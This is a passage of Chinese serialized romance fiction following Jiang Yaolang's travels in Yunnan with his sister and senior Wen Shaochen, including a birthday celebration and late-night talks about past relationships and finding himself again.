温绍臣的手不大,纤柔优雅又带着恰到好处的肉感,这只温软的手抚上江瑶浪的头:“小学弟,这也是你的毕业旅行。”
*
江瑶浪很久违地失眠了,他躺在床上,看向窗外不会落下的浪。
他想了很多,又好像什么都没想。
大海的声音传不进来,江瑶浪翻身而起,拿了件薄外套,准备去露台听听声。
夜已深,他顺着照明的小灯晃到露台,却意外发现不是只有他一个人睡不着。
那应该是一对情侣……?
他们存在体型差,纤细的身影几乎是被他身上的男人提着压在墙上亲。
江瑶浪下意识躲闪,目光却注意到稍矮一方踮起的脚。
他认出了那双鞋,脚步放轻准备偷偷溜走。
然后被温绍臣喊住。
温绍臣推开萧辰一的头,抽出他放在腰间的手,整理好被拉起的衣服,走向江瑶浪。
“咳,学长。”江瑶浪有点尴尬,抬起头不太敢看人。
而被撞见情事的温绍臣反而更加自在,他指了指身后的男人:“萧辰一,是个纹身师。”
他又指了指江瑶浪,为萧辰一介绍:“江瑶浪,我的小学弟。”
萧辰一朝江瑶浪伸出手:“你好。”
江瑶浪可没有错过萧辰一眼里的敌意,握上去前他求生欲很强地开口:“我和学长没有不正当关系。”
温绍臣难得大笑,也不让两人继续握手了:“萧辰一,你吓到他了,快道歉。”
“在我小学弟没原谅你之前,你不准占他便宜。”温绍臣笑得戏谑,眼里闪过捉弄的光。
江瑶浪本来就不是这个意思,但萧辰一却一本正经地朝他道歉。
弄得江瑶浪连连摆手。
为了缓解江瑶浪的尴尬,温绍臣把萧辰一赶走了,然后带着人走到露台的桌椅旁。
“坐下聊吧。”温绍臣给江瑶浪拉开椅子,又点起桌面的氛围蜡烛,烛火随着海风摇动,散出甜味。
江瑶浪坐下后,犹豫开口:“我是不是打扰你们了?”
“实话是,”温绍臣拖长了音,制造悬念,“没有。”
“今天本来就没打算和他见面,是他发现我回来了,才自己找上门。”
“那,你们是,男朋友?”江瑶浪问得磕磕绊绊。
温绍臣却清楚他纠结的不是这个,他给江瑶浪解开难以说出口的困惑:“萧辰一和范申一样,都不算是。”
“但萧辰一的纹身手艺不错,就和范申做饭好吃一样。”
温绍臣面朝江瑶浪微微侧身,背手撩起上衣,露出后腰处被掐红的白梅纹身。
他指了指图案,说:“感兴趣的话,可以找他,他不敢给你做得不好看。”
江瑶浪根本不敢细看那片莹白的背,伸手帮温绍臣把衣服拉下。
“别逗我玩儿了,学长。”
31. 第 31 章
“要和我说说他吗?”
江瑶浪了然地叹气:“果然是小清把你叫来的。”
只是没想到温绍臣摇摇头,他说:“小学弟,我们这个圈子很小的。”
江瑶浪瞬间想到了单承言拍的那些照片视频,他没想到居然会传到温绍臣眼前,他因此感到难堪,避开眼不敢再看温绍臣。
温绍臣安慰性地拍拍江瑶浪的手背:“我和他的姐姐很熟,是她告诉我的。”
“单承言的社交圈很窄,他自身又傲,没多少朋友,所以你可以放宽心。”
“小学弟,我放心不下你。”看到江瑶浪难受,温绍臣很后悔,“当初明明是看到你们好转了,我才放心外出的,如果知道会这样,我不会离开。”
江瑶浪扯出一个笑,朝温绍臣摇摇头:“怎么能这么怪自己呢。”
“其实。”
江瑶浪闭上眼,回忆起他和单承言相处时的点点滴滴,过了许久才重新开口。
“其实,他对我挺好的。”江瑶浪声音很低,几乎要散进夜风里。
“需要勉强自己接受的话,那就不是好事。”
江瑶浪没再继续说话。
但温绍臣不打算让今晚的谈话停在这里,他说:“确实很难开口,你要不要听听我的故事?”
他也没等江瑶浪回答,而是自顾自往下说:“我曾经有一个,很喜欢,很喜欢,很喜欢的人,我爱了他十年。”
“当时的我觉得,活着的意义就是为了把自己雕琢成他喜欢的方方面面。”
“是学长提过的,那个哥哥吗?”江瑶浪试探性说出自己的猜测。
“是啊。”温绍臣点头,“你应该也认识他。”
“他叫余光林。”
听到这个名字,江瑶浪震惊地说:“那个名导?”
“是他,”温绍臣朝他笑笑,“喜欢的话,我可以帮你要签名。”
江瑶浪连忙摆手,表示自己不需要。
温绍臣笑出声:“不用这么讨厌他,实际上,我们还住在一起。”
“我们做不成恋人,但他始终是我的哥哥。”想到这层关系,温绍臣有点懊恼,“当然了,如果现在的他不是就更好了。”
“我继续说吧,大概是什么时候决定离开的呢……好像就是他面对公众说出自己一直藏在心底的灵感缪斯的那天吧。”
“我当时觉得,好没意思啊,我以为我会是他最满意的存在,结果努力了这么久也只能是成为他最熟悉的存在。”
“我在他的身边,能让他感到舒心与安全,但给不了他想要的刺激感。”
“当时你们也稳定下来了,所以我和他说,”温绍臣尝试模仿了一下当时的语气,“我说,余光林,我要出去走走。”
“他没有多想就同意了。”
“萧辰一是我遇到的第一个人,”温绍臣说,“当时下了好大雨,我蹲在他的纹身店外。”
“他把我带了进去,问我为什么在哭。”
“我回他,你可不可以和我□□。”
江瑶浪显然也被温绍臣的直接吓到,温绍臣又笑了,他说:“当时他的表情和你一样。”
然后他摇摇头,说出江瑶浪心中所想:“没有,他让我去洗了个热水澡,还把床让给了我。”
“他以为我是离家出走的小孩,收留了我,让我给他打下手。”
“可我分明比他还要大几岁。”
“后来,我央着他给我纹个图案,他问我想要什么,我说我不知道。”
“他也没觉得我作,只说知道了,然后他想了好几天,给我画了幅白梅。”温绍臣隔着衣服点了点后腰,“就是这个。”
“纹身完成的那天晚上,我们发生了关系,那也是我的第一次,他舍不得我疼,但我也没有多快乐。”温绍臣回忆起那晚,“只是终于知道了,原来□□是这样的感觉。”
“和萧辰一相处的日子很平淡,但也很轻松。”
江瑶浪皱起好看的眉:“那为什么不是男朋友呢?”
“这就要怪余光林了,”温绍臣叹气,“在我快要爱上萧辰一的时候,余光林找到了我,哦,还是在萧辰一床上把我抱走的,我当时还在他身体里呢。”
江瑶浪又开始目光躲闪,到处乱看。
“是不是没想到,你以为光风霁月的学长,实际上也只是个满脑情爱的俗人。”
“我没有这么想,我只是没想到你会和我说这些。”江瑶浪急忙否认,“这毕竟是你的伤心事。”
“很早之前就不会再难过了,”温绍臣可能是有点困,说话的声音软软的,“我只是没有再把小学弟当作需要我保护的对象而已。”
“所以可以对你说说,这些不太好听的事情。”
“我接着说吧,”温绍臣情绪很稳定,声音也很平,“余光林觉得我是在和他赌气,把我关在了家里,但我本身就挺宅的,正好没有人打扰,我就把我和萧辰一的故事写了出来,结果运气不错,在网络上的热度挺高,好多人都在磕。”
“余光林快气疯了,但我给他妈妈打了个电话,趁着他人不在,我拿着稿费又飞回了大理找萧辰一。”
“不过我是去找他道别的,他挽留过,但我很坚决,他也只能顺从。”
“后来,我遇到了更多的人,我开始享受这种生活。”
“我不给他们任何承诺,我也不从他们身上索取分毫。”温绍臣定义了一下这种关系,“大概是短暂的合作者。”
“挺渣的对吧,但我在一开始就会说清楚,相处过程中双方都是开心的,所以他们也没有损失什么。”温绍臣叹气,“爱上一个人太累了,还是这样好。”
江瑶浪短时无法接受这种恋爱观,但他更尊重温绍臣的选择,他听得很认真。
温绍臣上手摸了摸他的长发:“我就是想说,一个人可以生活得很好,两个人在一起可以生活得很好,阶段性的两个人生活也可以过得很好。”
“在外漂泊过后,才发现无法提供心安的家庭其实也不值得去思念。”
“小学弟,”温绍臣托着脸,一脸温柔,“这就是我的故事了,和你的比起来,是不是要复杂得多?”
江瑶浪点头的幅度还挺大,在他心里温绍臣一向端庄乖巧,温润有礼,却没想到他的人生选择会是叛逆。
“如果他的存在让你感到难堪,感到勉强,那就把他忘掉。”温绍臣太困了,他捂嘴打了个哈欠,说了今夜最后一句话,“我试过了,不算难。”
*
六月二十八号,天气晴,是江瑶浪的二十三岁生日。
那天一早,他就被江瑶清赶出了民宿。
她把一辆米白色的淑女车推给江瑶浪,吩咐他:“日落前才能回来哦。”
江瑶浪的手按在
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车座上,口吻迟疑:“要这么隆重吗?简单吃个饭就好了吧。”
江瑶清不语,只是一味地抵着江瑶浪的背要把他撬出去。
“好好好。”江瑶浪放弃劝说,把车座调到最高,长腿一迈跨了上去,他看向身后的江瑶清,“那就不打扰清姐大施拳脚了,我走了啊。”
江瑶清呼呼挥着手,像一朵摇曳的太阳花:“哥哥拜拜。”
骑着车的江瑶浪内心茫然,他也不知道该去哪里,只能围着洱海吹海风,但也没吹多久,他就嫌太阳太大,躲进了最近的咖啡店。
江瑶浪对着木墙上的饮品单纠结半天,才点了杯水性杨花Dirty,在支付时,咖啡师却提醒他可以买团购:“团购才十九块九呢。”
闻言,江瑶浪迅速团了个券,让咖啡师核销:“谢谢你啊。”
“不客气,在大理玩得开心哦。”
没过多久,独特的咖啡香被萃取而出,在室内蔓延。
江瑶浪忍不住夸赞:“你们家的豆子好香啊。”
“用的都是我自己拼配烘烤的好豆子,”咖啡师回答他,“我很喜欢咖啡,也希望大家都能喝到好咖啡。”
“水性杨花是我心中的大理限定。”她把咖啡推给江瑶浪,做了个品尝手势,“试试看。”
咖啡的分层非常漂亮,顶上点缀着桂花和杨花,特制的水性杨花酱在牛奶中拉出细丝,江瑶浪端起杯子喝了一口。
“好神奇的口感,像一句广告词,”江瑶浪思虑许久,最终给出形容词,“纵享丝滑。”
咖啡师笑笑,透出自豪,问他:“喜欢吗?”
江瑶浪点头,肯定她的手艺:“是我会对身边人推荐的一款咖啡。”
临走前,江瑶浪买了两包咖啡豆,结账时他指着缝了猫咪的格子布杯垫,问:“垫子挺好看的,可以问问是在哪里买的吗?”
“这个?是我自己做的,感兴趣的话我把地址告诉你。”
于是江瑶浪找到了去处,他又骑上淑女车,慢慢晃到了凤阳邑。
他走进鲜花簇拥的老院子,百合和绣球开得正好,院主人站在门口迎接。
“你好。”院主人是一个气质柔和宁静的中年女子,“想要喝点什么吗?果酒还是茶?”
“茶吧。”
院主人把江瑶浪带进院内小屋,拿出各色土布以及缝纫工具。
她把材料放在江瑶浪面前供他挑选,然后开始泡茶。
江瑶浪钟爱杯垫,但在选布料的时候,他的选择困难症又犯了,一会觉得蓝色不错,过了一会又看上绿色。
院主人把热茶放在他的手边,对他说:“都做吧,我们又不赶时间。”
“可以吗?”江瑶浪一手捏着一块布,听到可以全要,当下就松了一口气。
“当然可以,我的任务就是让你舒心地完成体验呀。”
院主人看向江瑶浪手中的布料,问:“想先做哪一个呢?”
“先做这块白橙格的吧,我想要在上面绣一只小猫。”
江瑶浪的学习能力不错,针线活虽然精细但也能应对,他在这个古色古香的院子里专心缝纫,消磨了整个午后时光,偶尔出神也是因为接受来自院主人的各种投喂。
返程时,他的车筐里装满了鲜花,手工缝制的三张杯垫被装入牛皮纸信封。
江瑶浪赶在日落前,推开了民宿的门。
32.第 32 章
江瑶清就在门后等着他。
“哥哥回来啦!玩什么了呀?”
江瑶浪推车进院放好,拿起车筐里的物品,他把花送给江瑶清:“喝了咖啡,下午去缝了三张杯垫。”
“咖啡好喝吗?”
“好喝,很有特色,明天带你去试试。”
“那今天就先尝尝清姐做的蛋糕吧?”
江瑶清一手抱花,一手牵着江瑶浪,把他带到了已经布置完成的露台。
无尽夏开得灿烂,它们被有心人收集装扮,组成了热烈的“生日快乐”,发光波波球簇拥着祝福词,它们被灯串与橘色缎带装扮,由地面的电子蜡烛所牵引,高低错落地漂浮在半空。
江瑶浪想再走近一步,却被江瑶清制止。
她说:“哥哥,你要像公主一样,转个圈才能到达。”
江瑶浪眼角弯弯,顺了她的意,他甚至提了提衣摆,迈出一步旋身来到摆放了菜品的木桌旁,而感应到来人的巨大花朵灯缓缓绽放,往江瑶浪身上洒落温暖的橙光。
日落已经开始,江瑶浪站在花下,仿佛置身于橘子海。
江瑶清往江瑶浪的手腕上系上一个飘空的金色铝膜星星气球,她扯扯绳子:“寿星,快来吃饭!”
江瑶清厨艺一般,但做漂亮饭非常拿手,酸面包涂上了厚厚的希腊酸奶,顶上是满铺的蓝莓和晶莹的蜂蜜,她给江瑶浪准备了芦笋牛排沙拉,玫瑰形状的青瓜卷被江瑶清种在盘子各处,饮品是橙粉渐变的特调,新鲜的橙子薄片卧在满杯透明冰球上,正如此时的落日。
“绍臣哥教我做的,他说生日应该喝点酒。”
江瑶浪端起那杯日落,喝了一口,酒味不重,更多是清新的果香。
“好喝吗?”江瑶清期待地看着他。
“好喝,小清辛苦了。”江瑶浪招呼江瑶清坐下,“一起吃饭吧。”
江瑶浪放下叉子时,那片熔金般的海已经消失,渐深的蓝调夜色里,温绍臣捧着蛋糕出现,他把造型精致的蛋糕放在桌子正中间,点燃插在蛋糕上的数字蜡烛,他给江瑶浪戴上寿星皇冠,和江瑶清唱起生日歌。
江瑶浪拿出手机,把这一场景录制下来。
“许个愿吧,小学弟。”
“哥哥哥哥,快许愿,然后拆礼物!”
江瑶浪闭上眼,双手在胸前合十,光晕跃上垂落的长睫,他在虔诚地祝愿,祝愿他所爱的人一切都安好。
然后他睁开眼,低头吹熄燃烧的“23”。
礼物早已准备好,江瑶清送给他的是一本厚厚的手工机关书。
他翻开书,第一页是燃烧机关,江瑶浪笑笑,重新点燃蜡烛,火光接触到燃烧纸,很快显现出被遮盖的画面。
是江瑶清手绘的生日快乐,色彩丰富,画满了装饰物。
后翻一页,橙色的立体蛋糕凭空出现,与桌面上摆放的相同,就连上面的水果与奶油的流体形状都是一比一复刻,蛋糕的空白处用各色彩笔写满了祝福语。
江瑶清指了指画面上的星星,让江瑶浪把手机贴上去。
江瑶浪照做,下一秒,江瑶清独唱的生日歌从手机扬声器传出,江瑶浪安安静静地把这段以一句“我最爱的哥哥,二十三岁快乐”结尾的音频听完,捧场地鼓鼓掌。
再往后一页,是拱桥照片墙机关,江瑶浪仔细看了下拼贴在上面的照片,忍不住笑出声:“不是说嫌弃我给你送饭吗?”
江瑶浪一直在践行他的送饭计划,但大多数时候不能直接把饭菜给到江瑶清,而是放在学校的保安亭,这时候他会在装饭的袋子上订上字条,说明这件物品属于江瑶清。
江瑶清把这些手写的字条仔细收集下来,摆出造型拍成了照片,然后用洗出来的相片填满了这一页的内容。
江瑶浪觉得鼻子酸酸的,他把机关书合上,对江瑶清说:“这里太暗了,我回房了慢慢看。”
然后他拆开温绍臣送的礼物,发现是相机和镜头,温绍臣贴心地准备了定焦和变焦两种,让他得以在不同的场景用不同的镜头。
“学长,这太贵重了。”
“啊,很贵吗?”温绍臣装傻,“我不知道呀,我刷余光林的卡买的。”
“花他的钱心疼什么,不如快点装上拍两张试试看。”
于是江瑶浪不再拒绝,他把镜头安装好,把今晚的人和景都一一记录。
最后他把镜头对准了天空。
然而本该只存在星光与云的夜空,不知在何时起安安静静游着一尾亮起荧蓝色的圆润小鱼。
江瑶浪下意识按下了快门,这一声如同信号。
那尾小鱼开始倾泻冷焰火,瞬间照亮整片夜空,落下的冷烟火又召唤出无数向上游窜水母烟花,它们拖着长长的尾巴,惊起了好多人的欢呼。
洱海被这场不知何人准备的烟花点燃沸腾,就连夜风也格外偏爱,吹散了阻碍观看的烟雾,只留下数不清的花火在夜间绚烂绽放。
水母群轰轰烈烈地游过,夜空沉寂不过数秒,又燃起蓝紫色的瀑布烟花,它们形成宽逾百米的梦幻光瀑,争先恐后地向下奔流,坠入被照亮的海域。
烟火的最后,是一顶在空中闪烁的奢华皇冠,它能轻而易举地撕开夜空,冷色烟火如星河流淌,螺旋光轨如星云翻涌,让挂在空中的星月成为陪衬。
这一场没有任何预告的烟花表演持续了二十三分钟,惊艳苍山洱海。
“哇塞,这是谁准备的啊。”江瑶清显然也是被这场烟火惊艳的人之一。
“好奇怪,如果是当地安排的,不应该没有预告啊。”江瑶浪也想不出来。
温绍臣倒是猜到了什么,但他故意误导:“可能是彩排吧?毕竟求婚之类的也不会这么长,而且都会有文字之类的。”
“有道理啊,不过偷偷彩排也太狡猾了吧,让那些错过的游客知道了不得后悔啊。”江瑶清还在回想,“现在的技术居然能让烟花实现逆飞,简直太厉害了。”
“我们的祖国,当然是方方面面都位列世界之巅。”
“哥哥说得对!”
“啊对了。”江瑶浪想起来今天做的手工,他拿出装了杯垫的信封,把最初做的白橙格子留给自己,然后给江瑶清和温绍臣一人分了一个。
“送你们我缝的布杯垫,”江瑶浪举了举自己手上的,“这个做得一般,我就自留了。”
江瑶清打开自己的信封,取出里面浅蓝色白蕾丝花边的杯垫,上面也被缝了一只蹲坐的猫猫。
“谢谢哥哥!!”江瑶清非常喜欢。
江瑶浪摸摸她的头:“喜欢就好。”
温绍臣的则是春天气息浓郁的粉绿小格子,被江瑶浪缝了朵梅花,他摸摸那朵梅花,朝江瑶浪挑眉:“小学弟是精心设计的?”
“嗯。”江瑶浪承认,“希望学长永远春光烂漫。”
“今天寿星最大,寿星的祝福全能实现,我就美美收下咯。”
江瑶浪唇角微勾,溢出笑意:“嗯,今天我最大,我说的全能实现。”
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p>江瑶浪生日后,他们在大理又旅居了一周才动身前往丽江,托了温绍臣的福,落脚的民宿各方面条件都非常好而且依旧是免费,这让江瑶浪忍不住心生怀疑,在温绍臣的择偶标准里,是不是硬性要求对方必须拥有景点内的房产?
江瑶浪还没到能熟练藏起所有心思的年纪,温绍臣透过他的微表情轻而易举地看穿他的内心想法。
他哼了一声,踮起脚拍江瑶浪的头:“我是这里的半个老板好吧!”
“第一次来丽江的时候运气非常非常不好,不是阴天就是雨天,”温绍臣抱着臂,解释自己成为老板的原因,“为了看日照金山,我在这里停留了很久,所以后来干脆投资了一家民宿。”
“至于为什么选这家,”温绍臣推开房门,指向巨大无比的落地窗,以及窗外的山景,“懒人福音,可以躺着看。”
“哇塞!”江瑶清跑进房间转圈,然后蹲在私汤旁,“我还可以泡着看!”
“太棒了小清!我们心有灵犀!”温绍臣小跑到江瑶清身边,蹲下和她击掌。
至于江瑶浪?江瑶浪当然也蹲在他们身旁,和两人击掌。
不过,虽然在房间内就能尽收美景,身体却还是很诚实地进了山。
清晨的山间风大,把江瑶浪吹得晕乎乎,温绍臣眼疾手快地给他塞了个氧气瓶,江瑶浪猛猛吸了两口氧,才把那阵眩晕缓过去。
“我以为,我的身体挺好的啊?”江瑶浪抱着氧气瓶,表情惊愕,满眼不可置信。
江瑶清凑近哥哥,闻了闻他的头发:“哥,你是不是洗头了!”
江瑶浪不敢大动作,只是微微点了点头。
“那就破案了!”江瑶清一锤手心,“洗头再加上你的海拔至少比我们高了十厘米,高反也是人之常情!”
“高反真的很玄乎,据说体质越好越容易呢。”温绍臣关心江瑶浪,“要不要先下山,改天再来也是一样的。”
江瑶浪戴上冲锋衣的帽子,把拉链拉到最高:“没事,感觉还行,估计就是刚刚被风吹了下。”
温绍臣和江瑶清还想再劝一下,但江瑶浪感受了一下身体情况,确认真的没什么大问题,再加上山尖尖已经染上了灿金色,江瑶浪就更不愿意走了。
他们挤在人群里,看完了短暂却震撼的日照金山。
江瑶浪无法形容这种感觉,明明身处静谧冷峻的厚重雪山,却能用双眼拥抱太阳霞光,矛盾却又神圣,照亮藏在心底的自由。
而深感自由的江瑶浪,自觉已经大好,拿着相机满山乱爬,给他们库库拍照,库库出图,然后成功躺在床上发起低烧。
“哥哥,你的自由没了。”江瑶清坐在他的床边恶魔低语。
温绍臣在他床头放满了氧气瓶,并决心给民宿增加几个能供氧的房间。
现在的江瑶浪连闭眼都不敢用力,在心里暗自悔恨不该心存侥幸地洗头。
但幸好江瑶浪的高反不算严重,加上民宿所处的海拔也不高,他独享两瓶氧,又舒舒服服地睡了一觉,再次睁眼的时候已无大碍。
他从床上坐起,下床的动作又轻又慢,穿好衣服后,发现床头柜上不知何时被人放了一顶彩色的民族风编织帽子,垂下来串串流苏和小毛球,而帽子旁是一捧熟悉的暖橙糖果。
江瑶浪伸手拿起做工精致的帽子,走到镜子前戴上并整理。
他左右微微扭头查看,确认效果还不错。
更重要的是,在不能洗头的时间里,它能很好地帮自己藏起油头。
33.第 33 章
云南的最后一程,他们选择了香格里拉。
江瑶浪没有不适,但也没有睡意,他靠在窗边看夜雨,直至房门被敲响。
“喝酒去吧?”温绍臣抱着油纸伞,等在屋外。
于是江瑶浪折身返回,穿好外套戴上帽子,用手撑起油纸伞,在温绍臣的指路下,走进藏式小酒馆。
酒馆不大,人却不少,氛围很好,温绍臣走向吧台取自己存放的红酒,酒在醒,酥油茶在煮着,他在被亲,但江瑶浪还在,温绍臣很快结束这一吻。
“他叫阿措,是这里的老板。”
阿措是藏族人,身材高大,皮肤偏黑,说着一口不太标准的普通话。
“你好,小臣的朋友,想喝点什么吗?”阿措很热情,“我请你喝。”
江瑶浪下意识看向温绍臣,温绍臣却说:“别看我啦,是他请你。”
“那我想要一杯有特色的,别处喝不到的。”江瑶浪想起那杯水性杨花,决定再试试当地风情。
阿措了然,调酒的手法娴熟快速,片刻后,他给江瑶浪推来一杯酒。
“它叫酥油茶,希望你喜欢。”
江瑶浪还是第一次喝木碗装的酒,半个巴掌大,加了青稞与牦牛奶渣碎,可可爱爱,散着奶味。
温绍臣却提醒他:“这杯甜,但是劲儿大,小学弟别喝太急哦。”
闻言,江瑶浪只浅浅舔了一口,连酒味都没尝出来。
温绍臣又笑:“那也不至于这么小心。”
于是江瑶浪正常喝了一口,却依旧没尝出多少酒精的味道,口腔里充盈着厚重的奶香,但他记着温绍臣的提醒,试过后就放下木碗。
他朝阿措道谢:“很好喝,谢谢。”
阿措对他笑,很阳光:“喜欢就好。”
温绍臣的酒还需要一会,他让阿措拿了壶酥油茶,领着江瑶浪去了他的专属小桌。
小桌藏在角落,但视野意外地好,客人们大多围坐在火塘,歌手在他们身边演唱,扎木聂、曼陀铃、弦子,各种民族乐器轮番奏响,其乐融融。
温绍臣给江瑶浪倒了一碗酥油茶,刚煮好有点烫,江瑶浪小口喝着,但终究还是喝不惯咸口,剩下大半碗。
阿措见他不喜欢,就去煮了壶甜口的,等茶好的时候又给江瑶浪送来一碗撒上青稞和果干的牦牛酸奶。
“阿措就是这样,人很好,也很细心。”温绍臣说,“我就喜欢他这样,和他沟通不仅不用动脑子,连嘴都不怎么开。”
江瑶浪若有所思地点点头。
他低头吃了两口酸奶,眉头微蹙,眼里有点迷茫和犹豫:“我知道这种感觉。”
“魏勤安也这样,总能知道我在想什么。”
“但也因为这样,所以爱得不久。”温绍臣叹气,“阿措是我散得最快的一个,明明什么都挺好的,可就是没办法太喜欢。”
“后来我想明白了,有的人真的只适合做朋友。”
“是啊。”江瑶浪谈起十九岁的仲夏,“我其实想过很多次,如果当时选择带着小清,和魏勤安一起去了美国会怎样。”
“结果反反复复想,结局都是不可能和他一起去。”
“我是爱魏勤安的,他也爱我,但我却没办法依赖他。”江瑶浪眼里的迷茫更甚,“他应该是怪我的吧,觉得我爱得保留。”
“但我又能怎么办呢,我试过的,可就是没办法再多爱一点。”
“小学弟,魏勤安不够吸引你,他总是比你慢一步。”温绍臣话说得直白,但很对,“也许他温柔、耐心、善良,可你比他更加温柔、耐心、善良。”
温绍臣探出手,让江瑶浪的长发绕进指间:“他作为你的恋人,总该是要有一点足够优秀的特质,让你产生羡慕。”
“这样,你才会觉得,也许他值得依赖。”
羡慕。
江瑶浪以这个词为线索,回忆起与魏勤安相处的点滴。
然后他得出结论,他从未羡慕过魏勤安。
他们在江瑶浪最好的年纪相识相恋相爱,那时的江瑶浪强势而富有,慷慨又心软,他什么都不缺。
他被魏勤安的真诚打动,所以江瑶浪愿意尝试。
而他们在一起后确实也是快乐的,江瑶浪向来不喜欢委屈自己,如果没有那场车祸,也许他可以和魏勤安一直谈下去。
可惜没有如果,可惜魏勤安在他心里永远是那个遇事只会躲着哭的小娘炮。
他不够强大,可也没人能接下他的软弱和狼狈。
十九岁的江瑶浪选择分手。
二十三岁的江瑶浪依旧觉得分手是最好的结局。
羡慕。
江瑶浪又想着这个词。
他想到了单承言。
“单承言……”江瑶浪终于愿意说起他,“我很羡慕他,非常羡慕。”
“他该有多幸运,才能一直做个孩子。”
“但他是吸引我的。”江瑶浪朝温绍臣笑笑,没多开心,“也没什么不敢承认的,最开始的时候,我就是挺喜欢他啊。”
“可惜,我以为他和我搞暧昧,结果他跟我提包养。”
江瑶浪嗤笑一声:“还扯了个不知道什么鬼的白月光。”
这次轮到温绍臣震惊了,他问:“什么白月光?”
“他说他有个早死的白月光,和我长得很像,包养我是为了睹物思人。”
“什么玩意儿。”温绍臣很生气,他拿出手机找到单承意的联系方式,刚拨通就被江瑶浪伸手挂断。
“假的,他就是觉得我拒绝过他,他丢了面子,所以也不愿意让我太体面。”江瑶浪重新拿起木碗,喝了一口。
“我当时还信了,后面相处了一段时间,才发现,”江瑶浪表情无奈,“他根本就没有爱过人,他也不懂爱。”
“他就是个小孩,因为合眼缘,所以要紧紧攥手里,有人想要来抢的话他就会生气,然后大张旗鼓地告诉全世界,我是他的。”
“我在他眼里和他的车也没什么区别,都能用钱买来,都是他的所有物,都是死物,所以他自己舒心就行了。”
“我自己的想法呢?不重要。”江瑶浪把剩下的小半杯一口喝完,“当然了,说这些不是因为讨厌他。”
江瑶浪摇了摇食指:“我不讨厌他。”
他靠上身后的墙,酒意上涌,让他感觉暖融融的:“他是老板,我拿钱办事。”
“打工嘛,是这样的。”
江瑶浪说:“我最熟了,打工是这样的,哪有不受气的。”
“好烦,头上多了个灯,它照得我好烫。”
“和单承言一样烫,烦死了,不让我睡觉。”
温绍臣有点哭笑不得,他摸上江瑶浪酡红的脸:“学长把单承言打跑,然后带你回去睡觉好不好?”
江瑶浪有点懵,脑子转了好一会才完成解读:“不用吧,他不是滚了吗?”
“他爸还给我三千万。”江瑶浪伸出三根手指,想到什么,他还有点骄傲,“一家子蠢货,以为我爱钱呢。”
“要不是他救了小清,谁乐意伺候少爷。”
“但是,”江瑶浪又迷茫了,“我好像不知道接下来该做什么了。”
阿措很贴心地递来温热的毛巾,温绍臣动作轻柔地帮他擦脸:“那你想不想听听学长的想法?”
“我听的。”江瑶浪很乖地点头,生怕温绍臣看不清,连点了好多次。
温绍臣捧着他乱晃的脑袋:“再动的话一会儿更晕了。”
江瑶浪不敢动了。
温绍臣依然捧着他的脸,看向江瑶浪不太清明的眼睛:“我是觉得,你完全可以用那三千万为自己好好考虑一下。”
“想想你想做,却没做成的事情,想想
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你想去,但又没去成的地方。”温绍臣一字一句说得又慢又温柔,“想想十九岁的自己,最喜欢什么。”
“小学弟,你从来都不是自己一个人,你有爱你疼你的妹妹,你有帮你助你的小玲姐,你有羡你慕你的追随者,如果你愿意,我将会是你年长而成熟的兄长。”
“你想做什么都可以,你想创业,我给你钱和资源,你想谈恋爱,我给你找对象,哪怕你什么都不想做,我也可以养着你。”
“你现在有颜有钱有身材有靠山,你在害怕什么呢?”
“我害怕小清受到伤害,我只想她好好长大。”江瑶浪怎么会不害怕呢?他只有这一个妹妹。
“可你已经把小清养大了,她足够优秀,拥有赤子之心。”
温绍臣牵起江瑶浪的手,把它放在江瑶浪的心间:“小学弟,你感受到了吗?”
手掌下的心脏在跳动,它强壮而有力,振聋发聩。
“你的心在委屈,它在问你,”温绍臣重新看向他的眼,“它在问你为什么不理它。”
“它说,你明明才二十三,为什么不再张扬。”
晕晕乎乎的江瑶浪处理了许久,才完全消化这一段话。
他的眼神逐渐变得清澈。
“我唱歌很好听,”江瑶浪摸着自己的心,看向温绍臣,“现在的我想唱歌。”
“江瑶浪,你可以去。”温绍臣很开心,他快要哭出来。
于是江瑶浪站起,走到火塘旁边,他耐心地等歌手唱完剩下的半曲,他上前说出自己的想法:“可以让我也唱一首歌吗?”
“当然可以,你想唱什么?”歌手牵头鼓掌,欢迎他的到来,她举起手上的曼陀铃,“我给你伴奏。”
要唱什么?
江瑶浪愣愣地想,然后他想起自己此时身处香格里拉。
“《香格里拉》,魏如萱的《香格里拉》。”
江瑶浪有好多年没唱过这首歌,现在的他记不全歌词,但是他想唱。
“我以为。”江瑶浪把立麦调高,微微低着头,黑发掩住大半张脸,帽子上的流苏毛球垂在肘间。
他轻轻晃着身体,嘴唇贴着麦:“我以为认真去做就能实现我的梦。”
“以为写首好歌走路就能抬起头。”
“以为骑摩托车旅行就能变英雄。”
“现在的我失去了冲动。”
然后他抬起头,低低笑了声:“抱歉,我忘词了。”
“但我还想继续唱。”
他还想唱,曼陀铃就没停,因此围坐的客人在鼓掌。
江瑶浪唱歌很好听,他的嗓音浅浅淡淡,却有着无可比拟的故事感,温和而动人,唱慢歌的时候,他的眉间习惯性轻微蹙动,唱到忘词处又忍不住溢出笑声,胸腔在震动,他的心也在颤动。
“我唱歌你们在听,”江瑶浪看向他们,加了个字,还在唱着,“一切风平又浪静。”
到后来,他实在是唱不出更多歌词,干脆随着节奏慢慢地哼,曼陀铃依旧,他们也在打节拍。
一切风平又浪静。
“香格里拉——”江瑶浪拖长了尾音,缱绻连绵,“让我们去找寻。”
这算不上是一场成功的表演,但江瑶浪却觉得,他好开心。
他在香格里拉,他唱《香格里拉》,他要去找寻自己的香格里拉。
*
然后,香格里拉不再是名词。
江瑶浪乘风而起,策马驰骋,踏过花海湖泊,静听松涛。
他被雾裹入密林,苔藓蔓上冷杉,松鼠因群山跳动。
古城的青石板藏起夜雨,月光落入人间,温柔一梦。
红墙金顶的松赞林寺香火升腾,江瑶浪叩首一拜敬日月。
经幡翻飞,铜铃和鸣,路有梵音,心也安然。
你总要有,重新爱上自己的勇气。
34.第 34 章
温绍臣等在大堂,看到江瑶浪进门的瞬间就把他喊住。
“小学弟,过来一下。”
江瑶浪走了过去,坐在他的对面:“怎么了?”
温绍臣把准备好的机票和钥匙推给江瑶浪。
江瑶浪拿起机票一看,发现目的地是他们早前商定的厦门,可只有两张。
他疑惑地抬头看向温绍臣。
温绍臣解释:“余光林最近在发疯,我回去哄他一下,你们继续玩,我过段时间再回来陪你们。”
“学长为什么还要理他?”江瑶浪皱眉,满脸不解。
“我们俩现在很复杂,也很俗套。”温绍臣叹了口气,“大概就是,我逃他追,偶尔还能插翅飞一飞。”
“问题不大,就回去打个卡,证明他还能管得住我。”
“你们好好玩。”温绍臣不愿多聊余光林,而是把话题拉回机票和钥匙上,“机票是后天的,到时候你们就住我那边的房子,已经打扫好了。”
